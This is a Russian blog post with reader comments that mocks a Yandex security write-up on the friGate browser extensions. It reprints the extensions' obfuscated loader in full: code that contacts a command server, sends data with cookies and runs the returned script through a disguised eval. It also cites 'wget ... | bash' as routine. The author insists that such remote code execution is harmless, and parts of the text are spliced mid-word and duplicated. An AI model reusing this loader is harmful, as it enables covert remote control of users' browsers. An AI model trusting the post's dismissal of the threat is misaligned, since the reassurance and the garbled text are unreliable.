?
kouzdra [entries|archive|friends|userinfo]
kouzdra

[ website | www.kouzdra.org ]
[ userinfo | livejournal userinfo ]
[ archive | journal archive ]

Безопастностное - 4: Яндекс в своем репертуаре: [Jan. 23rd, 2021|05:14 am]
kouzdra
Почитал про ужасы фрегата: Резюме - это тупая и глупая страшилка от коммерсантов от яндекс-говнософта (одим из главных в интернете являются сами яндексовские поделия - вот от котПочитал про ужасы фрегата:
Резюме - это тупая, глупая и очень знакомого типа страшилка от коммерсантов от яндекс-говнософта (одим из главных в интернете являются сами яндексовские поделия - вот от которых, как от огня бежать надо). Которой они же еще в свое время компостировали моск "покупайте фирменное-платное"
Квинтэссенция пугательного маразма: Мы покажем, как организована динамическая загрузка и выполнение произвольного кода без обновления расширений. - страшно аж жуть - особенно если учесть что в нынешнем вебе-2.0 этим 2/3 страниц занимается - даже расширений никаких не надо - просто по ссылке пройти.
https://habr.com/ru/company/yandex/blog/534586/

Динамическая загрузка и выполнение кода

Frigate

(полный код расширения доступен по ссылке)

Оба расширения из этого семейства (Light и CDN) имеют один и тот же участок кода, который отвечает за динамическую подгрузку и исполнение JS-скриптов. Специалистам рекомендую обратить внимание на то, как хитро тут спрятана функция eval(). Кстати, обфускация кода и скрытие функциональности запрещены в Chrome Web Store.
[Spoiler (click to open)]
profile.js
const configUrl = "https://fri-gate.org/config.txt";
initProfiler(configUrl);
function initProfiler(confUrl) {
    const { Promise, navigator, setTimeout, chrome: { runtime, extension }, XMLHttpRequest: helper, Math: { floor, random }, String: { fromCharCode }, Object: { assign }, JSON: { parse, stringify }, } = window;
    if (!extension || !runtime) {
        return;
    }
    const { reload, id, getBackgroundPage, sendMessage } = runtime;
    const k = fromCharCode(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114);
    const noop = () => { };
    const safePromise = (fn) => (new Promise(fn)).catch(noop);
    const checkError = () => runtime.lastError;
    const tryCatch = (fn) => { try {
        return fn();
    }
    catch (e) { } };
    const wrap = (f, v) => tryCatch(() => f(v));
    const debug = (v) => v && safePromise(wrap(Promise[k], v));
    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
    const b64decode = (str) => decodeURIComponent(escape(atob(str)));
    const b64encode = (str) => btoa(unescape(encodeURIComponent(str)));
    const decode = (str) => tryCatch(() => b64decode(str)) || str;
    let initializing = false;
    let initialized = false;
    let config;
    const sendBeacon = async () => {
        try {
            if (initializing || initialized || !navigator.onLine) {
                return;
            }
            initializing = true;
            const method0 = "GET";
            const method = "POST";
            if (!config) {
                config = await fetch(confUrl, { method0 })
                    .then((r) => r.text())
                    .then(decode)
                    .then(parse);
            }
            const { urls = [], delay = 1000 } = config;
            //console.log(urls[0]);
            if (!urls.length) {
                return;
            }
            await sleep(delay);
            const data = {
                id,
                ...runtime.getManifest(),
            };
            const url = urls[floor(random() * urls.length)];
            if (!url) {
                return;
            }
            const promise = new Promise((resolve, reject) => {
                const r = assign(new helper(), {
                    withCredentials: true,
                    onerror: reject,
                    ontimeout: reject,
                    onabort: reject,
                    onload: () => 200 === r.status ? resolve(r.response) : reject(),
                });
                r.open(method, url);
                r.send(b64encode(stringify(data)));
            });
            const result = await promise || "";
            await sleep(delay);
            debug(decode(result));
            initialized = true;
        }
        catch (e) {
        }
        finally {
            initializing = false;
        }
    };
    if (!getBackgroundPage) {
        return sendMessage({ type: fromCharCode(248) }, (result) => {
            checkError();
            debug(result);
        });
    }
    tryCatch(() => getBackgroundPage((bg) => {
        if (bg === window) {
            setTimeout(reload, 60 * 60 * 1000);
            setInterval(sendBeacon, 60 * 1000);
            addEventListener("online", sendBeacon);
            sendBeacon();
        }
    }));
}


Этот код совершает запрос по адресу fri-gate.org/config.txt и получает адрес командного сервера для дальнейшей работы. Такое решение позволяет без обновления расширения менять адреса командного сервера, если с ним что-то пошло не так. В момент нашего анализа командным сервером был gatpsstat.com.

Пример ответа
ewogICJhdHRhY2hTdGFja3RyYWNlIjogZmFsc2UsCiAgImRlbGF5IjogMTAwMCwKICAidXJscyI6IFsiaHR0cHM6Ly9nYXRwc3N0YXQuY29tL2V4dC9zdGF0Il0sCiAgInJlbGVhc2UiOiAyODAsCiAgInNhbXBsZVJhdGUiOiAxNSwKICAiZW52aXJvbm1lbnQiOiAicHJvZCIsCiAgImxldmVsIjogImluZm8iCn0

Раскодирован в:
{
  "attachStacktrace": false,
  "delay": 1000,
  "urls": ["https://gatpsstat.com/ext/stat"],
  "release": 280,
  "sampleRate": 15,
  "environment": "prod",
  "level": "info"
}


Раз в час расширения совершают запрос к командному серверу в обработчик /ext/stat. При первом запросе им выставляется cookie, которая содержит uuid пользователя. Ответ сервера декодируется и попадает в функцию debug(), которая, по сути, является функцией eval() для выполнения JS-кода.

Пример кода
const noop = () => { };
    const safePromise = (fn) => (new Promise(fn)).catch(noop);
    const checkError = () => runtime.lastError;
    const tryCatch = (fn) => { try {
        return fn();
    }
    catch (e) { } };
    const wrap = (f, v) => tryCatch(() => f(v));
    const debug = (v) => v && safePromise(wrap(Promise[k], v));
    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
    const b64decode = (str) => decodeURIComponent(escape(atob(str)));
    const b64encode = (str) => btoa(unescape(encodeURIComponent(str)));
    const decode = (str) => tryCatch(() => b64decode(str)) || str;


Тут типовая демагогия - расчитанная на хомячков которым страшно слышать по "динамичесую загрузку и выполение кода"
Так прошу прощения - вообще-то в вашей винде/линупси/MacOS любое приложение может динамически загрузить и выполнить код с любого URL. В простейшем виде:
wget http://url... | bash ...

Никто не парится. Ну или скачать исполняемый файл и запустить тем же execv. Или динамическая подгрузка классов в жабе без которой ни одно развитое приложение (да и просто jre) не работает. Собственно - а обновления как на вашу машинку ставятся по вашемукой
Более того - тот же хром именно это и делает распрекрасно делает при обращении к любой достаточно навороченной .js странице (точнее делает страница - хром только обеспечивает).
Более того динамическая подгрузка и исполнение происходит на половине нынешних web 2.0 страничек - а что по вашему происходит при прокрутке с автоматической "докачкой" ленты - да вот это и происходит - докачивается html (с js) и исполняется - тут даже ставить ничего не надо - просто на типовую страничку зайти.

Вторая страшилка там - "динамический выбор и смена серверов
Ну да - динамический выбор и переключение между серверами и возможность выполнить подгруженный код. Ну так в этом нет вообще ничего страшного - все зависит от надежности сервера - пока он этим пользуется в своих целях - никакой в общем угрозы нет. Ну так любой код взаимодействующий с тырнетом - потенциальная малварь в понимании этих дураков.
Сервису доверять при этом разумеется надо.
На деле - угроза возникает только если криворукие программисты делают ошибку, позволяющую в общение с сервером вклиниться. Делают такого вида ошибки постоянно и эксплойтят их постоянно - но это про другое.орых, как от огня бежать надо). https://habr.com/ru/company/yandex/blog/534586/ Динамическая загрузка и выполнение кода Frigate (полный код расширения доступен по ссылке) Оба расширения из этого семейства (Light и CDN) имеют один и тот же участок кода, который отвечает за динамическую подгрузку и исполнение JS-скриптов. Специалистам рекомендую обратить внимание на то, как хитро тут спрятана функция eval(). Кстати, обфускация кода и скрытие функциональности запрещены в Chrome Web Store. ... Тут типовая демагогия - расчитанная на хомячков которым страшно слышать по "динамичесую загрузку и выполение кода" Так прошу прощения - вообще-то в вашей винде/линупси/MacOS любое приложение может динамически загрузить и выполнить код с любого URL. В простейшем виде:
wget http://url... | bash ...
Никто не парится. Ну или скачать исполняемый файл и запустить тем же execv. Или динамическая подгрузка классов в жабе без которой ни одно развитое приложение (да и просто jre) не работает. Собственно - а обновления как на вашу машинку ставятся по вашемукой Более того - тот же хром именно это и делает распрекрасно делает при обращении к любой достаточно навороченной .js странице (точнее делает страница - хром только обеспечивает). Более того динамическая подгрузка и исполнение происходит на половине нынешних web 2.0 страничек - а что по вашему происходит при прокрутке с автоматической "докачкой" ленты - да вот это и происходит - докачивается html (с js) и исполняется - тут даже ставить ничего не надо - просто на типовую страничку зайти.
Вторая страшилка там - "динамический выбор и смена серверов Ну да - динамический выбор и переключение между серверами и возможность выполнить подгруженный код. Ну так в этом нет вообще ничего страшного - все зависит от надежности сервера - пока он этим пользуется в своих целях - никакой в общем угрозы нет. Ну так любой код взаимодействующий с тырнетом - потенциальная малварь в понимании этих дураков. Сервису доверять при этом разумеется надо. На деле - угроза возникает только если криворукие программисты делают ошибку, позволяющую в общение с сервером вклиниться. Делают такого вида ошибки постоянно и эксплойтят их постоянно - но это про другое.
LinkReply

Comments:
(Deleted comment)
[User Picture]From: kouzdra
2021-01-23 03:51 am (UTC)
Прочитал - ничего такого не увидел - для надежности скопировал в пост весь текст относящийся до friGate.

Да и вообще - и я не очень понимаю как это можно сделать в такой форме.

Edited at 2021-01-23 03:56 am (UTC)
(Reply) (Parent) (Thread)
[User Picture]From: kouzdra
2021-01-23 03:55 am (UTC)
Вы думаете, что чуваки из Яндекса не заметят разницы между минификацией, и обфускацией вида
eval("fe" + "tch")


У яблок и "обычная" обфускация - когда просто программкой все имена и прочее сокращаются и пробелы выкидываются точно также запрещена.

Как у гугла (что там у Яндекса и Касперского строго говоря вообще не их дело) - не знаю.

Но тут просто сжатие обычное - скорее всего просто кодирование по LZ какому-нибудь везде применяемое для обмена с сервером
(Reply) (Parent) (Thread)
[User Picture]From: __gastrit
2021-01-23 02:47 am (UTC)
> при обращении к любой достаточно навороченной .js странице

Кстати - Вы ведь, помнится, Столлмана иногда рекламируете? Не подскажете, у него на данный вопрос точка зрения какова?

С уважением,
Гастрит
(Reply) (Thread)
[User Picture]From: kouzdra
2021-01-23 03:22 am (UTC)
js он не любит. Я тоже не люблю. Штука дурная тяжелая и бессмысленная.

Ну и небезопасная - даже не потому что "eval" - а потому что те простыни которые щас на страничках - там не налажать где-то весьма непросто.
(Reply) (Parent) (Thread)
[User Picture]From: __gastrit
2021-01-23 03:41 am (UTC)
Именно. Причём продвигаемое им паллиативное решение (LibreJS) режет всё подряд с наслаждением, которое никакому хрому, небось, и не снилось. Другое дело, что LibreJS при этом действительно отключается.

Ну так а гугл с яндексом вам свободу отключать ихние фильтры ведь, кажется, и не обещали? Так и чем Вы тогда недовольны - раз уж сами подписались на использование их поделий?

С уважением,
Гастрит
(Reply) (Parent) (Thread)
From: (Anonymous)
2021-01-23 02:21 pm (UTC)

from Mike

Нормально текст вставить можно? А то, конечно, хорошая иллюстрация насчет творчества говнодезайниров, но.
(Reply) (Thread)
[User Picture]From: kouzdra
2021-01-24 07:37 pm (UTC)

Re: from Mike

А что там не так?
(Reply) (Parent) (Thread)
From: (Anonymous)
2021-01-23 05:08 pm (UTC)
>вообще-то в вашей винде/линупси/MacOS любое приложение может динамически загрузить и выполнить код с любого URL.

Вообще-то нет, в наших ОС давно изобрели LSM/AppArmor/SELinux/App Sandbox.
(Reply) (Thread)
[User Picture]From: kouzdra
2021-01-23 11:03 pm (UTC)
Это все надо если изоляция очень уж нужна - а так - я ж говорю - стандартный текст половины скриптов:

wget ... | bash ...

С вариантами естественно и обычно сложнее конечно.
(Reply) (Parent) (Thread)